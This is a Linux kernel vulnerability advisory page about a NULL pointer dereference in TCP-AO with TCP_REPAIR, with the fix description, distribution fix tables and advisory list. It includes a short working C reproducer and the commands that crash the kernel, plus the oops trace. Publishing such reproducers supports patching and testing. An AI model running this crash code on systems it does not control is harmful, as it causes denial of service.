Description
In the Linux kernel, the following vulnerability has been resolved:
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
Affected products
| Vendor | Product | Affected | Fixed |
|---|---|---|---|
| Linux | Linux | 6.7 | 6.12.49 |
Fixed in Linux distributions
Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.
Debian
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Debian 14 | linux | 6.16.9-1 | — |
| Debian 13 | linux | 6.12.57-1 | — |
Ubuntu
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Ubuntu Nvidia-BlueField 24.04 LTS | linux-bluefield | 6.8.0-1017.21 | — |
| Ubuntu 25.10 | linux-azure-fde | No fix yet | — |
| Ubuntu 24.04 LTS | linux | 6.8.0-106.106 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-aws | 6.8.0-1050.53 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-azure | 6.8.0-1051.57 | USN-8125-1 |
| Ubuntu 24.04 LTS | linux-azure-fde | 6.8.0-1058.65 | — |
| Ubuntu 24.04 LTS | linux-azure-nvidia | 6.8.0-1039.42 | — |
| Ubuntu 24.04 LTS | linux-gcp | 6.8.0-1052.55 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-gke | 6.8.0-1048.53 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-gkeop | 6.8.0-1035.38 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-ibm | 6.8.0-1049.49 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-intel +19 | No fix yet | — |
| Ubuntu 24.04 LTS | linux-lowlatency | 6.8.0-106.106.1 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-nvidia | 6.8.0-1049.52 | USN-8100-1 |
| Ubuntu 24.04 LTS | linux-nvidia-lowlatency | 6.8.0-1049.52.1 | USN-8100-1 |
| Ubuntu 24.04 LTS | linux-nvidia-tegra | 6.8.0-1020.20 | — |
| Ubuntu 24.04 LTS | linux-oracle | 6.8.0-1047.48 | USN-8095-1 |
| Ubuntu 24.04 LTS | linux-raspi | 6.8.0-1050.54 | USN-8095-5 |
| Ubuntu 24.04 LTS | linux-xilinx | 6.8.0-1028.29 | USN-8261-1 |
| Ubuntu 22.04 LTS | linux-aws-6.8 | 6.8.0-1050.53~22.04.1 | USN-8095-4 |
| Ubuntu 22.04 LTS | linux-azure-6.8 | 6.8.0-1051.57~22.04.1 | USN-8126-1 |
| Ubuntu 22.04 LTS | linux-azure-fde-6.8 | 6.8.0-1058.65~22.04.1 | — |
| Ubuntu 22.04 LTS | linux-gcp-6.8 | 6.8.0-1052.55~22.04.1 | USN-8095-1 |
| Ubuntu 22.04 LTS | linux-hwe-6.8 +1 | 6.8.0-106.106~22.04.1 | USN-8095-1 |
| Ubuntu 22.04 LTS | linux-ibm-6.8 | 6.8.0-1049.49~22.04.1 | USN-8095-1 |
| Ubuntu 22.04 LTS | linux-lowlatency-hwe-6.8 | 6.8.0-106.106.1~22.04.1 | USN-8095-1 |
| Ubuntu 22.04 LTS | linux-nvidia-6.8 | 6.8.0-1049.52~22.04.1 | USN-8100-1 |
| Ubuntu 22.04 LTS | linux-oracle-6.8 | 6.8.0-1047.48~22.04.1 | USN-8095-1 |
| Ubuntu 22.04 LTS | linux-riscv +32 | No fix yet | — |
| Ubuntu 20.04 LTS | linux-gke +28 | No fix yet | — |
Show 5 more (older releases, extended support, other products)Fewer releases
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Ubuntu 18.04 LTS | linux-gcp +14 | No fix yet | — |
| Ubuntu 16.04 LTS | linux-hwe-edge | No fix yet | — |
| Ubuntu Pro Realtime 24.04 LTS | linux-raspi-realtime | 6.8.0-2040.41 | USN-8095-5 |
| Ubuntu Pro Realtime 24.04 LTS | linux-realtime | 6.8.1-1045.46 | USN-8095-3 |
| Ubuntu Pro Realtime 24.04 LTS | linux-realtime-6.14 | No fix yet | — |
| Ubuntu Pro Realtime 22.04 LTS | linux-realtime-6.8 | 6.8.1-1045.46~22.04.1 | USN-8095-3 |
| Ubuntu Pro FIPS-updates 24.04 LTS | linux-aws-fips | 6.8.0-1050.53+fips1 | USN-8095-2 |
| Ubuntu Pro FIPS-updates 24.04 LTS | linux-azure-fips | 6.8.0-1052.58+fips1 | USN-8165-1 |
| Ubuntu Pro FIPS-updates 24.04 LTS | linux-fips | 6.8.0-106.106+fips1 | USN-8095-2 |
| Ubuntu Pro FIPS-updates 24.04 LTS | linux-gcp-fips | 6.8.0-1052.55+fips1 | USN-8095-2 |
SUSE
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| SLES for SAP 16.0 | kernel-64kb +7 | 6.12.0-160000.7.1 | SUSE-SU-2025:21147-1 |
| SLES for SAP 16.0 | kernel-default-base | 6.12.0-160000.6.1.160000.2.4 | SUSE-SU-2025:21147-1 |
| SLES 16.0 | kernel-64kb +7 | 6.12.0-160000.7.1 | SUSE-SU-2025:21180-1, SUSE-SU-2025:21147-1 |
| SLES 16.0 | kernel-default-base | 6.12.0-160000.6.1.160000.2.4 | SUSE-SU-2025:21147-1 |
| SLE Micro 6.2 | kernel-default-base | 6.12.0-160000.6.1.160000.2.4 | SUSE-SU-2025:21080-1 |
| SLE Micro 6.2 | kernel-rt +5 | 6.12.0-160000.7.1 | SUSE-SU-2026:20561-1, SUSE-SU-2025:21080-1 |
openSUSE
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| openSUSE Leap 16.0 | kernel-default-base | 6.12.0-160000.6.1.160000.2.4 | openSUSE-SU-2025:20091-1 |
| openSUSE Leap 16.0 | kernel-rt +10 | 6.12.0-160000.7.1 | openSUSE-SU-2025:20091-1 |
Advisories 16
- WID-SEC-2025-2194 Linux Kernel: Mehrere Schwachstellen BSI CERT-Bund (WID) · Nov 12, 2026
- USN-8100-1 linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency vulnerabilities Ubuntu Security Notices (USN) · Nov 4, 2026
- USN-8165-1 linux-azure-fips vulnerabilities Ubuntu Security Notices (USN) · Nov 4, 2026
- USN-8095-1 linux, linux-aws, linux-gcp, linux-gcp-6.8, linux-gke, linux-gkeop, linux-hwe-6.8, linux-ibm, linux-ibm-6.8, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-oracle, linux-oracle-6.8 vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8095-2 linux-fips, linux-aws-fips, linux-gcp-fips vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8126-1 linux-azure-6.8 vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8095-5 linux-raspi, linux-raspi-realtime vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8125-1 linux-azure vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8095-4 linux-aws-6.8 vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8095-3 linux-realtime, linux-realtime-6.8 vulnerabilities Ubuntu Security Notices (USN) · Nov 3, 2026
- USN-8261-1 linux-xilinx vulnerabilities Ubuntu Security Notices (USN) · Sep 7, 2026
- SUSE-SU-2026:20561-1 Security update for the Linux Kernel SUSE / openSUSE Security Updates · Jul 9, 2026
- openSUSE-SU-2025:20091-1 Security update for the Linux Kernel SUSE / openSUSE Security Updates · Mar 23, 2026
- SUSE-SU-2025:21147-1 Security update for the Linux Kernel SUSE / openSUSE Security Updates · Mar 23, 2026
- SUSE-SU-2025:21080-1 Security update for the Linux Kernel SUSE / openSUSE Security Updates · Mar 23, 2026
- SUSE-SU-2025:21180-1 Security update for the Linux Kernel SUSE / openSUSE Security Updates · Mar 23, 2026